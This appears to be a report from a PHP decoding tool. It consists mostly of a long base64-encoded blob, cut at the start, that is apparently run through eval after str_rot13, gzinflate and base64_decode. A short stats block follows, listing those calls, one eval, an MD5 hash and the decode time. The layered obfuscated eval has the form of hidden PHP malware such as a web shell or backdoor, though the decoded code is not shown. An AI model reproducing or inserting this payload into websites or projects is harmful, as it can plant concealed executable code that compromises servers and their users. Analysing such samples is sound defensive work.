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')))));
?>

Function Calls

gzinflate 1
str_rot13 2
base64_decode 1

Variables

None

Stats

MD5 68230419c5bbcf4a407321ea4226c3fd
Eval Count 1
Decode Time 393 ms